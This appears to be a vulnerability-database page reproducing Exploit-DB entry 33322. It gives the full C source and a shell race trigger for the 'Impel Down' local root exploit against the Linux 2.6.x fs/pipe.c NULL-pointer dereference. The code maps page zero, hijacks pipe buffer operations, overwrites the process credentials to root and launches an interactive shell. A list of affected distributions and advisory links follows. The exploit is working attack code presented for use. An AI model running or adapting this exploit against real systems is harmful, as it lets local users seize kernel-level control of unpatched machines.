while : ; do { echo y ; sleep 1 ; } | { while read ; do echo z$REPLY; done ; } & PID=$! OUT=$(ps -efl | grep 'sleep 1' | grep -v grep | { read PID REST ; echo $PID; } ) OUT="${OUT%% *}" DELAY=$((RANDOM * 1000 / 32768)) usleep $((DELAY * 1000 + RANDOM % 1000 )) echo n > /proc/$OUT/fd/1 # Trigger defect done
Exploit Database EDB-ID : 33322

Publication date : 2009-11-02 23:00 +00:00
Author : teach & xipe
EDB Verified : Yes

/* source: https://www.securityfocus.com/bid/36901/info Linux kernel is prone to a local privilege-escalation vulnerability that is caused by a NULL-pointer dereference. Local attackers can exploit this issue to execute arbitrary code with kernel-level privileges. Successful exploits will result in the complete compromise of affected computers. Failed exploit attempts will result in a denial-of-service condition. */ /****************************************************************************** * .:: Impel Down ::. * * Linux 2.6.x fs/pipe.c local kernel root(kit?) exploit (x86) * by teach & xipe * Greetz goes to all our mates from #nibbles, #oldschool and #carib0u * (hehe guyz, we would probably be high profile and mediatised el8 if we * lost less time on trolling all day long, but we LOVE IT :))) * Special thanks to Ivanlef0u, j0rn & pouik for being such amazing (but i * promise ivan, one day i'll kill u :p) * * (C) COPYRIGHT teach & xipe, 2009 * All Rights Reserved * * teach@vxhell.org * xipe@vxhell.org * *******************************************************************************/ #include #include #include #include #include #include #include #include #include #include #include #define PIPE_BUFFERS (16) struct pipe_buf_operations { int can_merge; int *ops[10]; }; struct pipe_buffer { int *page; unsigned int offset, len; const struct pipe_buf_operations *ops; unsigned int flags; unsigned long private; }; struct pseudo_pipe_inode_info { /* Wait queue head */ /* spinlock */ int spinlock; /* list */ int *next, *prev; unsigned int nrbufs, curbuf; int *page; unsigned int readers; unsigned int writers; unsigned int waiting_writers; unsigned int r_counter; unsigned int w_counter; int *async_readers; int *async_writers; int *inode; struct pipe_buffer bufs[PIPE_BUFFERS]; }; static pid_t uid; static gid_t gid; unsigned long taskstruct[1024]; static inline void *get_stack_top() { void *stack; __asm__ __volatile__ ( "movl $0xffffe000,%%eax ;" "andl %%esp, %%eax ;" "movl %%eax, %0 ;" : "=r" (stack) ); return stack; } static inline void *get_current() { return *(void **)get_stack_top(); } static void update_cred() { uint32_t i; uint32_t *task = get_current(); /* Pointer to the task_struct */ uint32_t *cred = 0; for (i = 0; i < 1024; i++) { taskstruct[i] = task[i]; cred = (uint32_t *)task[i]; if (cred == (uint32_t *)task[i+1] && cred > (uint32_t *)0xc0000000) { cred++; /* Get ride of the cred's 'usage' field */ if (cred[0] == uid && cred[1] == gid && cred[2] == uid && cred[3] == gid && cred[4] == uid && cred[5] == gid && cred[6] == uid && cred[7] == gid) { /* Get root */ cred[0] = cred[2] = cred[4] = cred[6] = 0; cred[1] = cred[3] = cred[5] = cred[7] = 0; break; } } } } int is_done(int new) { static int done = 0; if (done == 1) return (1); done = new; } volatile int done = 0; void kernel_code() { is_done(1); update_cred(); //exit_kernel(); } int main(int ac, char **av) { int fd[2]; int pid; int parent_pid = getpid(); char *buf; int i,j; struct pseudo_pipe_inode_info *pinfo = 0; struct pipe_buf_operations ops; buf = mmap(0, 0x1000, PROT_READ | PROT_EXEC | PROT_WRITE, MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS, 0, 0); printf ("buf: %p\n", buf); pinfo->readers = 0; pinfo->writers = 0; for (i = 0; i < 10; i++) ops.ops[i] = (int *)kernel_code; for (i = 0; i < PIPE_BUFFERS; i++) { pinfo->bufs[i].ops = &ops; } i = 0; uid = getuid(); gid = getgid(); setresuid(uid, uid, uid); setresgid(gid, gid, gid); //while (1) { pid = fork(); if (pid == -1) { perror("fork"); return (-1); } if (pid) { char path[1024]; char c; /* I assume next opened fd will be 4 */ sprintf(path, "/proc/%d/fd/4", pid); printf("Parent: %d\nChild: %d\n", parent_pid, pid); while (!is_done(0)) { fd[0] = open(path, O_RDWR); if (fd[0] != -1) { close(fd[0]); } } //system("/bin/sh"); execl("/bin/sh", "/bin/sh", "-i", NULL); return (0); } while (!is_done(0)) { if (pipe(fd) != -1) { close(fd[0]); close(fd[1]); } } } }

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version To (including) 2.6.31.14

Linux>>Linux_kernel >> Version 2.6.32

Linux>>Linux_kernel >> Version 2.6.32

Linux>>Linux_kernel >> Version 2.6.32

Linux>>Linux_kernel >> Version 2.6.32

Linux>>Linux_kernel >> Version 2.6.32

Linux>>Linux_kernel >> Version 2.6.32

Configuraton 0

Novell>>Linux_desktop >> Version 9

Opensuse>>Opensuse >> Version 11.0

Opensuse>>Opensuse >> Version 11.2

Suse>>Suse_linux_enterprise_desktop >> Version 10

Suse>>Suse_linux_enterprise_server >> Version 10

Configuraton 0

Canonical>>Ubuntu_linux >> Version 6.06

Canonical>>Ubuntu_linux >> Version 8.04

Canonical>>Ubuntu_linux >> Version 8.10

Canonical>>Ubuntu_linux >> Version 9.04

Canonical>>Ubuntu_linux >> Version 9.10

Configuraton 0

Fedoraproject>>Fedora >> Version 10

Configuraton 0

Vmware>>Vma >> Version 4.0

Vmware>>Esx >> Version 4.0

Configuraton 0

Redhat>>Mrg_realtime >> Version 1.0

Redhat>>Enterprise_linux_desktop >> Version 3.0

Redhat>>Enterprise_linux_desktop >> Version 4.0

Redhat>>Enterprise_linux_desktop >> Version 5.0

Redhat>>Enterprise_linux_eus >> Version 4.8

Redhat>>Enterprise_linux_eus >> Version 5.4

Redhat>>Enterprise_linux_server >> Version 3.0

Redhat>>Enterprise_linux_server >> Version 4.0

Redhat>>Enterprise_linux_server >> Version 5.0

Redhat>>Enterprise_linux_workstation >> Version 3.0

Redhat>>Enterprise_linux_workstation >> Version 4.0

Redhat>>Enterprise_linux_workstation >> Version 5.0

References

http://www.redhat.com/support/errata/RHSA-2009-1672.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.securityfocus.com/bid/36901
Tags : vdb-entry, x_refsource_BID
https://rhn.redhat.com/errata/RHSA-2009-1540.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.ubuntu.com/usn/usn-864-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://secunia.com/advisories/38794
Tags : third-party-advisory, x_refsource_SECUNIA
http://lkml.org/lkml/2009/10/21/42
Tags : mailing-list, x_refsource_MLIST
https://rhn.redhat.com/errata/RHSA-2009-1541.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.mandriva.com/security/advisories?name=MDVSA-2009:329
Tags : vendor-advisory, x_refsource_MANDRIVA
http://secunia.com/advisories/37351
Tags : third-party-advisory, x_refsource_SECUNIA
http://marc.info/?l=oss-security&m=125724568017045&w=2
Tags : mailing-list, x_refsource_MLIST
https://rhn.redhat.com/errata/RHSA-2009-1548.html
Tags : vendor-advisory, x_refsource_REDHAT
http://secunia.com/advisories/38834
Tags : third-party-advisory, x_refsource_SECUNIA
http://lkml.org/lkml/2009/10/14/184
Tags : mailing-list, x_refsource_MLIST
https://rhn.redhat.com/errata/RHSA-2009-1550.html
Tags : vendor-advisory, x_refsource_REDHAT
http://secunia.com/advisories/38017
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.vupen.com/english/advisories/2010/0528
Tags : vdb-entry, x_refsource_VUPEN
Click on the button to the left (OFF), to authorize the inscription of cookie improving the functionalities of the site. Click on the button to the left (Accept all), to unauthorize the inscription of cookie improving the functionalities of the site.